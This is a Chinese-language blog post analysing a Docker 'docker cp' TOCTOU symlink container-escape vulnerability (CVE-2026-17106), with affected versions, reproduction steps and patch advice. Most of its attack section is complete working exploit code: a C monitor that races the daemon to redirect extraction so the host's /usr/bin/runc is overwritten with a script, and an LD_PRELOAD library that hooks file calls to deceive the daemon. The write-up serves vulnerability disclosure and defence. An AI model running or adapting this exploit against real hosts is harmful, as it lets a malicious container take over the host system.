CopyEscape Docker容器逃逸(CVE-2026-17106)

1.概述

1.1Docker cp

Docker cp是 Docker 中用于在容器与宿主机之间复制文件的常用命令,广泛应用于构建产物提取、测试结果收集、日志获取和取证调查等场景。

1.2Docker CLI

Docker CLI是 Docker 平台的核心用户交互工具,也是与 Docker 引擎进行交互的主要方式。它为开发者和运维人员提供了丰富的命令集,用于管理容器、镜像、网络、数据卷等 Docker 资源。

CVE-2026-17106 的核心问题在于:

Docker CLI 在处理容器归档数据并执行文件提取时,对动态变化的文件结构缺少有效校验。攻击者运行恶意容器,利用 TOCTOU竞态条件,在守护进程生成 tar 归档的过程中将目录替换为符号链接,并在 CLI 解压时绕过符号链接安全检查,最终将文件写入宿主机指定目录之外的任意位置。

2.影响版本

  • Docker Engine/CLI < 29.7.0

  • Docker Desktop < 4.86.0

  • Docker Sandboxes < 0.38.0

  • moby/go-archive < v0.3.0

3.利用链

恶意容器准备-

4.linux复现

在第一个终端中启动准备好的容器:

复制代码
docker run --name copyescape-linux copyescape-linux

在第二个 Root 终端中,准备我们的**"诱饵"**

复制代码
docker exec copyescape-linux cat /watched/file.txt

触发漏洞(关键)

复制代码
docker cp copyescape-linux:/watched/file.txt ./file.txt

在存在漏洞的 Docker 版本上,/usr/bin/runc 现在将包含 PoC Shell 脚本。执行被替换的运行时将创建由 Root 拥有的标记文件:

复制代码
sed -n '1,3p' /usr/bin/runc

5.漏洞原理

阶段一:伪装成普通文件(障眼法)

当用户在宿主机上执行 docker cp <container>:/watched/file.txt ./file.txt 时,Docker 守护进程(Daemon)首先会进入容器,遍历(Walk)文件系统,检查 /watched/file.txt 是什么类型的文件。

  • 在这个阶段,PoC 让 /watched/file.txt 表现为一个普通的常规文件。
  • Docker 守护进程"检查"后认为:"这只是一个普通文件,很安全",于是决定将其打包进 tar 归档流中发送给 Docker CLI。

阶段二:竞态替换(偷梁换柱)

这是漏洞发生的关键时间窗口。

  • 在 Docker 守护进程完成检查,但还没开始真正读取文件内容并打包的极短瞬间,容器内的恶意监控程序(Monitor)会迅速行动。

  • 它将原本的普通文件删除,并替换为一个指向宿主机绝对路径的恶意符号链接。

    • 例如在 Linux PoC 中,它被替换为指向 /usr/bin/ 目录的符号链接。
  • 接着,恶意程序会在该符号链接下放置一个名为 file.txt 的"子条目"(实际上是恶意 payload,比如覆盖 runc 的脚本)。

  • 此时,Docker 守护进程开始读取内容并生成 tar 流,它不加防备地将这个符号链接以及符号链接下的子文件打包进了 tar 流中。这就形成了一个不一致且恶意的 tar 流。

  • 恶意监控程序(Monitor):

    #define _GNU_SOURCE

    #include <errno.h>
    #include <fcntl.h>
    #include <limits.h>
    #include <poll.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/inotify.h>
    #include <sys/stat.h>
    #include <time.h>
    #include <unistd.h>

    static const char *visible_file = "/watched/file.txt";
    static const char *backing_file = "/watched/.file.txt.regular";
    static const char *trigger_file = "/watched/file.txt/aaa.txt";
    static const char *pivot_dir = "/watched/file.txt/escape";
    static const char *stage_link = "/watched/file.txt/.swap-escape";
    static const char *backup_dir = "/watched/file.txt/.old-escape";
    static const char *host_target_dir = "/usr/bin";
    static const char *host_target_file = "/usr/bin/runc";
    static const int exit_quiet_ms = 250;

    static void die(const char *what)
    {
    perror(what);
    exit(1);
    }

    static uint64_t monotonic_ms(void)
    {
    struct timespec ts;

    复制代码
      if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0) {
          die("clock_gettime");
      }
      return (uint64_t)ts.tv_sec * 1000ULL + (uint64_t)ts.tv_nsec / 1000000ULL;

    }

    static void mkdir_p(const char *path, mode_t mode)
    {
    char tmp[PATH_MAX];
    char *p;

    复制代码
      if (snprintf(tmp, sizeof(tmp), "%s", path) >= (int)sizeof(tmp)) {
          fprintf(stderr, "mkdir path too long: %s\n", path);
          exit(1);
      }
    
      for (p = tmp + 1; *p != '\0'; p++) {
          if (*p != '/') {
              continue;
          }
          *p = '\0';
          if (mkdir(tmp, mode) != 0 && errno != EEXIST) {
              die("mkdir");
          }
          *p = '/';
      }
    
      if (mkdir(tmp, mode) != 0 && errno != EEXIST) {
          die("mkdir");
      }

    }

    static void write_text_file(const char *path, const char *text)
    {
    size_t len = strlen(text);
    ssize_t written;
    int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);

    复制代码
      if (fd < 0) {
          die(path);
      }
      written = write(fd, text, len);
      if (written < 0 || (size_t)written != len) {
          close(fd);
          die("write");
      }
      if (close(fd) != 0) {
          die("close");
      }

    }

    static void write_repeat_file(const char *path, char fill, size_t size)
    {
    static char buf[64 * 1024];
    size_t remaining = size;
    int fd;

    复制代码
      memset(buf, fill, sizeof(buf));
    
      fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
      if (fd < 0) {
          die(path);
      }
    
      while (remaining > 0) {
          size_t chunk = remaining < sizeof(buf) ? remaining : sizeof(buf);
          ssize_t written = write(fd, buf, chunk);
    
          if (written < 0 || (size_t)written != chunk) {
              close(fd);
              die("write");
          }
          remaining -= chunk;
      }
    
      if (close(fd) != 0) {
          die("close");
      }

    }

    static void setup_layout(void)
    {
    mkdir_p(pivot_dir, 0755);
    mkdir_p(host_target_dir, 0755);
    write_text_file(backing_file, "top-level file\n");
    write_repeat_file(trigger_file, 'B', 16 * 1024 * 1024);
    write_text_file(host_target_file, "#!/bin/bash\n echo 'you have been pwned';\ntouch /imperva_red_team;\n");
    if (chmod(host_target_file, 0755) != 0) {
    die("chmod");
    }

    复制代码
      if (symlink(host_target_dir, stage_link) != 0) {
          die("symlink");
      }

    }

    static bool try_pivot(void)
    {
    if (rename(pivot_dir, backup_dir) != 0) {
    perror("rename escape -> backup");
    return false;
    }
    if (rename(stage_link, pivot_dir) != 0) {
    perror("rename staged symlink -> escape");
    return false;
    }
    printf("pivoted %s -> %s\n", pivot_dir, host_target_dir);
    fflush(stdout);
    return true;
    }

    static void run_monitor(void)
    {
    char buf[4096];
    bool raced = false;
    uint64_t exit_deadline_ms = 0;
    int fd = inotify_init1(IN_CLOEXEC);
    struct pollfd pfd = { .fd = fd, .events = POLLIN };

    复制代码
      if (fd < 0) {
          die("inotify_init1");
      }
    
      if (inotify_add_watch(fd, visible_file, IN_OPEN | IN_ACCESS | IN_ONLYDIR) < 0) {
          die("inotify_add_watch");
      }
      if (inotify_add_watch(fd, host_target_dir, IN_OPEN | IN_ACCESS | IN_CLOSE_NOWRITE | IN_CLOSE_WRITE) < 0) {
          die("inotify_add_watch");
      }
    
      for (;;) {
          int timeout = -1;
          ssize_t len;
          char *ptr;
    
          if (raced) {
              uint64_t now = monotonic_ms();
    
              if (now >= exit_deadline_ms) {
                  printf("copy activity went quiet, exiting\n");
                  fflush(stdout);
                  return;
              }
              timeout = (int)(exit_deadline_ms - now);
          }
    
          if (poll(&pfd, 1, timeout) < 0) {
              if (errno == EINTR) {
                  continue;
              }
              die("poll");
          }
    
          if ((pfd.revents & POLLIN) == 0) {
              if (raced) {
                  printf("copy activity went quiet, exiting\n");
                  fflush(stdout);
                  return;
              }
              continue;
          }
    
          len = read(fd, buf, sizeof(buf));
          if (len < 0) {
              if (errno == EINTR) {
                  continue;
              }
              die("read");
          }
          ptr = buf;
    
          while (ptr < buf + len) {
              struct inotify_event *event = (struct inotify_event *)ptr;
    
              if (!raced &&
                  (event->mask & (IN_OPEN | IN_ACCESS)) != 0 &&
                  event->len > 0 &&
                  strcmp(event->name, "aaa.txt") == 0) {
                  raced = try_pivot();
                  if (raced) {
                      exit_deadline_ms = monotonic_ms() + (uint64_t)exit_quiet_ms;
                  }
              } else if (raced) {
                  exit_deadline_ms = monotonic_ms() + (uint64_t)exit_quiet_ms;
              }
    
              ptr += sizeof(*event) + event->len;
          }
      }

    }

    int main(void)
    {
    setup_layout();
    run_monitor();
    return 0;
    }

阶段三:绕过校验,实现逃逸(致命一击)

  • 存在漏洞的 Docker CLI 在宿主机上接收到这个 tar 流并开始解压。

  • 用户原本指定的目标路径是当前的 ./file.txt

  • 但是,Docker CLI 在解压时,没有严格校验符号链接的指向是否超出了用户指定的目标目录。

  • CLI 首先创建了那个恶意的符号链接,接着在解压子条目 file.txt 时,顺着符号链接,将恶意内容直接写入到了符号链接指向的宿主机绝对路径(例如覆盖了 /usr/bin/runc)。

Linux 动态链接库预加载劫持(WATCHED_PRELOAD)

在CVE-2026-17106 漏洞利用场景中,它的作用是欺骗 Docker 守护进程,使其在检查容器内文件时产生误判,从而为后续的攻击创造条件。

复制代码
#define _GNU_SOURCE

#include <dlfcn.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>

static const char *visible_file = "/watched/file.txt";
static const char *backing_file = "/watched/.file.txt.regular";

static int (*real_open_fn)(const char *pathname, int flags, ...) = NULL;
static int (*real_openat_fn)(int dirfd, const char *pathname, int flags, ...) = NULL;
static FILE *(*real_fopen_fn)(const char *pathname, const char *mode) = NULL;
static int (*real_stat_fn)(const char *pathname, struct stat *statbuf) = NULL;
static int (*real_lstat_fn)(const char *pathname, struct stat *statbuf) = NULL;

static void load_symbols(void)
{
    if (real_open_fn != NULL) {
        return;
    }
    real_open_fn = dlsym(RTLD_NEXT, "open");
    real_openat_fn = dlsym(RTLD_NEXT, "openat");
    real_fopen_fn = dlsym(RTLD_NEXT, "fopen");
    real_stat_fn = dlsym(RTLD_NEXT, "stat");
    real_lstat_fn = dlsym(RTLD_NEXT, "lstat");
}

static const char *redirect_path(const char *path)
{
    if (path != NULL && strcmp(path, visible_file) == 0) {
        return backing_file;
    }
    return path;
}

int open(const char *pathname, int flags, ...)
{
    mode_t mode = 0;
    va_list ap;

    load_symbols();

    if ((flags & O_CREAT) != 0) {
        va_start(ap, flags);
        mode = (mode_t)va_arg(ap, int);
        va_end(ap);
        return real_open_fn(redirect_path(pathname), flags, mode);
    }

    return real_open_fn(redirect_path(pathname), flags);
}

int openat(int dirfd, const char *pathname, int flags, ...)
{
    mode_t mode = 0;
    va_list ap;

    load_symbols();

    if ((flags & O_CREAT) != 0) {
        va_start(ap, flags);
        mode = (mode_t)va_arg(ap, int);
        va_end(ap);
        return real_openat_fn(dirfd, redirect_path(pathname), flags, mode);
    }

    return real_openat_fn(dirfd, redirect_path(pathname), flags);
}

FILE *fopen(const char *pathname, const char *mode)
{
    load_symbols();
    return real_fopen_fn(redirect_path(pathname), mode);
}

int stat(const char *pathname, struct stat *statbuf)
{
    load_symbols();
    return real_stat_fn(redirect_path(pathname), statbuf);
}

int lstat(const char *pathname, struct stat *statbuf)
{
    load_symbols();
    return real_lstat_fn(redirect_path(pathname), statbuf);
}

6.修复建议

官方已发布安全补丁,请及时更新至最新版本:

Docker Engine / CLI >= 29.7.0

Docker Desktop >= 4.86.0

Docker Sandboxes >= 0.38.0

下载地址:

Docker Engine:https://docs.docker.com/engine/release-notes/

Docker Desktop:https://docs.docker.com/desktop/release-notes/

Docker Sandboxes:https://github.com/docker/sandbox/releases

相关推荐
修先生1 小时前
WisQuery 一套开箱即用、可 Docker 一键部署的 智能问数 + 知识库 + 智能问答 一体化平台
运维·docker·容器
有来技术1 小时前
youlai-boot 实战:MinIO 停止维护,Docker 迁移 RustFS 完整记录
java·后端·docker
Rain的Java大神之路1 小时前
Docker搭建Redis集群完全指南
java·运维·redis·后端·docker·容器·架构
智购科技无人售货机厂家1 小时前
2026自动售货机远程运维平台设计:从设备诊断到预测性维护的工程实践~YH
运维·python·物联网·架构·django·scikit-learn
Raas1001 小时前
大模型网关和API网关区别是什么?MAI Gateway统一AI流量治理
java·大数据·运维·人工智能·gateway·企业级·ai网关
吹什么轩2 小时前
Linux系统复习:权限的解析
linux·运维·服务器
虎王物联2 小时前
Docker Compose一键部署物联网平台:EMQX+InfluxDB+Grafana完整方案
物联网·docker·grafana·emqx
liebe1*12 小时前
Module 2:Linux Fundamentals Part 1
linux·运维·服务器
小周学学学2 小时前
horizon一些常见的故障处理
运维·服务器·vmware·虚拟化